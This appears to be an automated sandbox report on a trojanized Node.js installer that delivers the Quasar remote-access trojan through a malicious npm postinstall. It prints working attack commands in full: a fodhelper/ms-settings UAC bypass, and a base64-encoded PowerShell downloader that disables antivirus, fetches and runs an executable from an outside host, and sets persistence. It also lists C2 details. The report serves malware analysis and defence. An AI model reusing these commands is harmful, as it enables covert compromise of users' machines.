Overview

overview

10

Static

static

1

node-v22.11.0-x64.msi

windows11-21h2-x64

10

Resubmissions

19-12-2024 13:09

241219-qdzx4stlfy 10

18-12-2024 23:58

241218-31jwmaxpcs 10

18-12-2024 23:03

241218-21nddawjh1 7

18-12-2024 22:59

241218-2ywlzawjcs 7

18-12-2024 22:44

241218-2nva6avnfy 6

18-12-2024 22:36

241218-2h9tnawjal 6

18-12-2024 22:31

241218-2fnteavlbz 10

Analysis

  • max time kernel
    89s
  • max time network
    141s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    19-12-2024 13:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    node-v22.11.0-x64.msi

  • Size

    28.9MB

  • MD5

    fa9e1f3064a66913362e9bff7097cef5

  • SHA1

    b34f1f9a9f6242c54486a4bc453a9336840b4425

  • SHA256

    9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

  • SHA512

    ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

  • SSDEEP

    786432:EtShU+9S49htlhk3tKuiU9IsO9IP1/lBMS8k4:EAUK/U9IN961/l

Score
10/10
quasartestdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywaretrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/robloxopensrc/robIox-cdn/raw/refs/heads/main/OneDrive.exe

Extracted

Family

quasar

Version

1.4.1

Botnet

Test

C2

147.185.221.22:54755

Mutex

9cabbafb-503b-49f1-ab22-adc756455c10

Attributes
  • encryption_key

    8B93C77AC1C58EA80A3327E9FD26246A79EF3B8E

  • install_name

    Onedrive.exe

  • log_directory

    Logs

  • reconnect_delay

    100

  • startup_key

    Microsoft OneDrive

  • subdirectory

    Onedrive

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 19 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 8 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 53 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\node-v22.11.0-x64.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4072
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 4A87CBE35DF1AFC4F9FDAA61B521868F C
      2⤵
      • Loads dropped DLL
      PID:3928
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2952
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 54CB74E9C309CD976A025219E4E14B93
        2⤵
        • Loads dropped DLL
        PID:3920
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 3B30580EC732A9665E10BAC78B8C2EAB E Global\MSI0000
        2⤵
        • Loads dropped DLL
        PID:3544
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 07B0267A865C78461FF0D313C3CE55CA
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1768
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3108
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4872
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3480
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4560
          • C:\Program Files\nodejs\node.exe
            "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
            3⤵
            • Executes dropped EXE
            PID:4436
        • C:\Program Files\nodejs\node.exe
          "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" i rbx-reader-ts
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3084
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c exit 0
            3⤵
              PID:4692
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c node postinstall
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4368
              • C:\Program Files\nodejs\node.exe
                node postinstall
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1008
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\Admin\AppData\screenshot.png" "
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3568
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\Admin\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
                    6⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3284
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA524.tmp" "c:\Users\Admin\AppData\Local\Temp\screenCapture\CSCC121D3DDA154487B8549E59D422097C2.TMP"
                      7⤵
                      • System Location Discovery: System Language Discovery
                      PID:2320
                  • C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe
                    screenCapture_1.3.2.exe "C:\Users\Admin\AppData\screenshot.png"
                    6⤵
                    • Executes dropped EXE
                    PID:3768
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\b6tjltqfo6740xyay9u3\Shell\open\command" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4728
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\b6tjltqfo6740xyay9u3\Shell\open\command" /f
                    6⤵
                    • Modifies registry class
                    PID:2736
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\b6tjltqfo6740xyay9u3\Shell\open\command" /ve /t REG_SZ /d "C:\WindowsApi\64c634cbfdd29ba21009eccdb231c7abf02bd687.exe" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3920
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\b6tjltqfo6740xyay9u3\Shell\open\command" /ve /t REG_SZ /d "C:\WindowsApi\64c634cbfdd29ba21009eccdb231c7abf02bd687.exe" /f
                    6⤵
                    • Modifies registry class
                    PID:3760
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1452
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
                    6⤵
                    • Modifies registry class
                    PID:1056
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\WindowsApi\64c634cbfdd29ba21009eccdb231c7abf02bd687.exe /c powershell -WindowStyle Hidden -Command \"$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9yb2Jsb3hvcGVuc3JjL3JvYklveC1jZG4vcmF3L3JlZnMvaGVhZHMvbWFpbi9PbmVEcml2ZS5leGUiOyRwPSIkZW52OlRFTVBcT25lZHJpdmUuZXhlIjtJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1IC1PdXRGaWxlICRwIC1Vc2VCYXNpY1BhcnNpbmc7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJHAgLVZlcmIgUnVuQXM7JHN0YXJ0dXBLZXk9IkhLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biI7U2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkc3RhcnR1cEtleSAtTmFtZSAiT25lZHJpdmUiIC1WYWx1ZSAkcCAtRm9yY2U='; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded\"" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1480
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\WindowsApi\64c634cbfdd29ba21009eccdb231c7abf02bd687.exe /c powershell -WindowStyle Hidden -Command \"$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9yb2Jsb3hvcGVuc3JjL3JvYklveC1jZG4vcmF3L3JlZnMvaGVhZHMvbWFpbi9PbmVEcml2ZS5leGUiOyRwPSIkZW52OlRFTVBcT25lZHJpdmUuZXhlIjtJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1IC1PdXRGaWxlICRwIC1Vc2VCYXNpY1BhcnNpbmc7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJHAgLVZlcmIgUnVuQXM7JHN0YXJ0dXBLZXk9IkhLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biI7U2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkc3RhcnR1cEtleSAtTmFtZSAiT25lZHJpdmUiIC1WYWx1ZSAkcCAtRm9yY2U='; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded\"" /f
                    6⤵
                    • Modifies registry class
                    PID:3780
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3016
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                    6⤵
                    • Modifies registry class
                    PID:2404
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command Start-Process -FilePath "C:\Windows\System32\fodhelper.exe""
                  5⤵
                  • Hide Artifacts: Hidden Window
                  • Suspicious use of WriteProcessMemory
                  PID:4448
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -WindowStyle Hidden -Command Start-Process -FilePath "C:\Windows\System32\fodhelper.exe"
                    6⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:2988
                    • C:\Windows\System32\fodhelper.exe
                      "C:\Windows\System32\fodhelper.exe"
                      7⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4120
                      • C:\WindowsApi\64c634cbfdd29ba21009eccdb231c7abf02bd687.exe
                        "C:\WindowsApi\64c634cbfdd29ba21009eccdb231c7abf02bd687.exe" /c powershell -WindowStyle Hidden -Command "$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9yb2Jsb3hvcGVuc3JjL3JvYklveC1jZG4vcmF3L3JlZnMvaGVhZHMvbWFpbi9PbmVEcml2ZS5leGUiOyRwPSIkZW52OlRFTVBcT25lZHJpdmUuZXhlIjtJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1IC1PdXRGaWxlICRwIC1Vc2VCYXNpY1BhcnNpbmc7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJHAgLVZlcmIgUnVuQXM7JHN0YXJ0dXBLZXk9IkhLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biI7U2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkc3RhcnR1cEtleSAtTmFtZSAiT25lZHJpdmUiIC1WYWx1ZSAkcCAtRm9yY2U='; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded"
                        8⤵
                        • Executes dropped EXE
                        PID:788
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden -Command "$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9yb2Jsb3hvcGVuc3JjL3JvYklveC1jZG4vcmF3L3JlZnMvaGVhZHMvbWFpbi9PbmVEcml2ZS5leGUiOyRwPSIkZW52OlRFTVBcT25lZHJpdmUuZXhlIjtJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1IC1PdXRGaWxlICRwIC1Vc2VCYXNpY1BhcnNpbmc7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJHAgLVZlcmIgUnVuQXM7JHN0YXJ0dXBLZXk9IkhLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biI7U2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAkc3RhcnR1cEtleSAtTmFtZSAiT25lZHJpdmUiIC1WYWx1ZSAkcCAtRm9yY2U='; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded"
                          9⤵
                          • Blocklisted process makes network request
                          • Command and Scripting Interpreter: PowerShell
                          • Adds Run key to start application
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4560
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\guco3pht\guco3pht.cmdline"
                            10⤵
                              PID:3740
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABFA.tmp" "c:\Users\Admin\AppData\Local\Temp\guco3pht\CSC258125CC9DB04706A84FDBEC4A80BA2E.TMP"
                                11⤵
                                  PID:4244
                              • C:\Users\Admin\AppData\Local\Temp\Onedrive.exe
                                "C:\Users\Admin\AppData\Local\Temp\Onedrive.exe"
                                10⤵
                                • Executes dropped EXE
                                PID:2852
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  "schtasks" /create /tn "Microsoft OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe" /rl HIGHEST /f
                                  11⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:680
                                • C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe
                                  "C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe"
                                  11⤵
                                  • Executes dropped EXE
                                  PID:1408
                                  • C:\Windows\SYSTEM32\schtasks.exe
                                    "schtasks" /create /tn "Microsoft OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Onedrive\Onedrive.exe" /rl HIGHEST /f
                                    12⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:2956
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null; Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | ForEach-Object { ([Windows.UI.Notifications.ToastNotificationManager]::History).clear(($_.Name -split '\\')[-1].TrimEnd('}')) }""
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2020
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null; Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | ForEach-Object { ([Windows.UI.Notifications.ToastNotificationManager]::History).clear(($_.Name -split '\\')[-1].TrimEnd('}')) }"
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1004
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Software\Classes\ms-settings" /f"
                      5⤵
                        PID:3576
                        • C:\Windows\system32\reg.exe
                          reg delete "HKCU\Software\Classes\ms-settings" /f
                          6⤵
                          • Modifies registry class
                          PID:5056
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Software\Classes\b6tjltqfo6740xyay9u3" /f"
                        5⤵
                          PID:4780
                          • C:\Windows\system32\reg.exe
                            reg delete "HKCU\Software\Classes\b6tjltqfo6740xyay9u3" /f
                            6⤵
                            • Modifies registry class
                            PID:1148

                Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Installer Packages

                1
                T1546.016

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Installer Packages

                1
                T1546.016

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Hide Artifacts

                1
                T1564

                Hidden Window

                1
                T1564.003

                Modify Registry

                1
                T1112

                System Binary Proxy Execution

                1
                T1218

                Msiexec

                1
                T1218.007

                Credential Access

                Discovery

                Peripheral Device Discovery

                2
                T1120

                Query Registry

                3
                T1012

                System Information Discovery

                2
                T1082

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                Lateral Movement

                Collection

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Config.Msi\e57ea70.rbs
                  Filesize

                  935KB

                  MD5

                  d647e067e9081e77ec37d8b40154a60d

                  SHA1

                  be4ff0d191d94b36ce1d0945682e16d167137151

                  SHA256

                  847b7784644f1c9961637659a8a57349facf564c6714f7557b93a8583ee52e8f

                  SHA512

                  cac0ac7ca1603c0f482459dc91577b363da79c3f0e5a20787dd0937d8f16390e77c8dbe0e30357989aeac0bf492c4c1124eedda38b870bc36496f4720b12dbbd

                  Download Submit

                • C:\Program Files\nodejs\node_modules\npm\bin\npm-prefix.js
                  Filesize

                  864B

                  MD5

                  92dd1b5a463374142271ff420cb473a5

                  SHA1

                  a9f946c6a8c6f273f837703acc74c367b7781a99

                  SHA256

                  673f620e40137c295f2cf057364468bf3a71653dfc0973be895ebf7a8c368c2e

                  SHA512

                  5e0a6e4a9cff4b37acbece070a592a65ed044a78e1b104517eb5bb233d4398f67140b44e986e7a2de16bfb65b0ab7609e831341efea2a6f583258b6a85f70e01

                  Download Submit

                • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definition.js
                  Filesize

                  6KB

                  MD5

                  882260e7dd69f6a1403c4b364412ef59

                  SHA1

                  a3f3f9430c43ab1e0e485532cc4ddfe73cac7784

                  SHA256

                  8d2dd6fdf38c2cceed52e113d3c179510280f7f9eccb3fa8d9f257edea2b0741

                  SHA512

                  bec5072a0c0cacc51919d4dbcdedeb99f1450e3f9cf1f0786a08a96c8bb06763da41b375afb932652693ac3558f32775abfa73658db386a15c8515ac19207665

                  Download Submit

                • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definitions.js
                  Filesize

                  74KB

                  MD5

                  ac2829ac584b52c925a7159c1a9cbfea

                  SHA1

                  3cdaf7d42cb81090742ca76988e80f06b3f98764

                  SHA256

                  79164e3881df94b91226fecfbb40133ab1f26d6bf66953f37f72dc1dd5bb9610

